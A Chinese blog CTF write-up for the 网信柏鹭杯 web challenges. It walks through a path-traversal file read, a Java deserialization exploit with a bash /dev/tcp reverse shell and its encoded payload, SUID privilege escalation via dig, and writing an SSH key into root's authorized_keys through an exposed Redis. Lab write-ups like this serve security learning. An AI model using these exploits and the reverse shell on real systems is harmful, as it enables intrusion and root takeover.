网信柏鹭杯

本文最后更新于:2023年10月13日 晚上

网信柏鹭杯

web

综合题

小明用spring boot做了一个java文件的上传功能demo,放到了/app/下。(注:综合题6、7均为此题环境)

综合5

image-20231013150938029

存在任意文件读取

/readfile?filename=../../../proc/self/cmdline读取命令行命令

image-20231013151026044

然后下载jar包/readfile?filename=../../../app/demo.jar

发现可疑源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";

public String O0O = "6925cc02789c1d2552b71acc4a2d48fd";

private static String loadedRedisPassword;

public String o0o(String Ooo) {
StringBuilder oOo = new StringBuilder();
for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) {
char Oo0 = Ooo.charAt(o0O);
char oOO = this.O0O.charAt(o0O % this.O0O.length());
char OOo = (char)(Oo0 ^ oOO);
oOo.append(OOo);
}
return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
}

gpt解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.util.Base64;

public class DecryptFlag {
private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
private String O0O = "6925cc02789c1d2552b71acc4a2d48fd";

public String decryptFlag() {
byte[] encryptedData = Base64.getDecoder().decode(enc_flag1);
StringBuilder decryptedFlag = new StringBuilder();

for (int i = 0; i < encryptedData.length; i++) {
char encryptedChar = (char) encryptedData[i];
char keyChar = O0O.charAt(i % O0O.length());
char decryptedChar = (char) (encryptedChar ^ keyChar);
decryptedFlag.append(decryptedChar);
}

return decryptedFlag.toString();
}

public static void main(String[] args) {
DecryptFlag decryptor = new DecryptFlag();
String decryptedFlag = decryptor.decryptFlag();
System.out.println("Decrypted Flag: " + decryptedFlag);
}
}

运行:Decrypted Flag: flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}

综合6

Ping#readObject()

1
2
3
4
5
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmdArray = new String[]{this.command, this.arg1, this.arg2};
Runtime.getRuntime().exec(cmdArray);
}

很明显的反序列化,直接编写反弹shell

1
2
3
4
5
6
7
8
9
Ping ping = new Ping();
ping.setCommand("/bin/bash");
ping.setArg1("-c");
ping.setArg2("bash -i >& /dev/tcp/ip/7788 0>&1");
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(b);
oos.writeObject(ping);
byte[] encode = Base64.getEncoder().encode(b.toByteArray());
System.out.println(new String(encode));

rO0ABXNyABVjb20uZXhhbXBsZS5kZW1vLlBpbmcAAAAAAAAAAQIAA0wABGFyZzF0ABJMamF2YS9sYW5nL1N0cmluZztMAARhcmcycQB+AAFMAAdjb21tYW5kcQB+AAF4cHQAAi1jdAAsYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMi83Nzg4IDA+JjF0AAkvYmluL2Jhc2g=

Upload类有一个路由接受反序列化参数

1
2
3
4
5
6
7
8
9
10
11
@PostMapping({"/internalApi/v3.2/updateConfig"})
public String syncData(@RequestBody String payload) {
try {
byte[] data = Base64.getDecoder().decode(payload);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
return "Data synced successfully";
} catch (IOException|ClassNotFoundException e) {
return "Failed to sync data: " + e.getMessage();
}
}
image-20231013152912210

成功反弹shell

1
2
3
4
5
6
7
8
ctf@be2f338edc3d:/$ ls /app/
ls /app/
Upload
demo.jar
hint.txt
ctf@be2f338edc3d:/$ cat /app/hint.txt
cat /app/hint.txt
This flag is in /root/flag2ctf

查看发现没有权限,suid提权

1
2
3
4
5
6
7
8
9
10
11
ctf@be2f338edc3d:/$ find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/dig

发现一个dig,可以使用dig提权,查看用法

dig -f /root/flag2

综合7

首先hostname -i 查看一下本地ip

1
2
3
ctf@be2f338edc3d:/$ hostname -i
hostname -i
172.17.0.2

由于我们前面发现spring配置文件的位置:spring.config.location=/usr/local/share/application.properties

读取一下:

1
2
3
4
5
6
7
8
9
ctf@be2f338edc3d:/$ cat /usr/local/share/application.properties
cat /usr/local/share/application.properties
server.port=8080
server.servlet.context-path=/
management.endpoints.web.exposure.include=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a
spring.servlet.multipart.max-file-size=10MB

发现了redis的ip,port,以及redis密码,

首先需要搞一个,代理,把内网ip:172.25.0.10代理出来

然后我们通过ssh-keygen -t rsa生成rsa公钥和密钥

通过redis将公钥写入靶机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 先使用`redis-cli`连接数据库,并且将pub公钥的内容设置为key

cat temp.txt|proxychains4 redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set key

# 将Redis 的配置项 dir 设置为 /root/.ssh。这将更改 Redis 服务器的持久化文件目录路径

CONFIG SET dir /root/.ssh

# 将 Redis 的配置项 dbfilename 设置为 authorized_keys。这将更改 Redis 服务器的持久化文件的数据库文件名。

CONFIG SET dbfilename authorized_keys

# 触发 Redis 服务器执行数据的持久化操作,将数据写入磁盘,以确保数据在服务器重启后仍然可用
save

成功写入公钥后,使用ssh连接,获得root权限

1
ssh -i id_rsa root@172.25.0.10

网信柏鹭杯
https://leekosss.github.io/2023/10/11/网信柏鹭杯/
作者
leekos
发布于
2023年10月11日
更新于
2023年10月13日
许可协议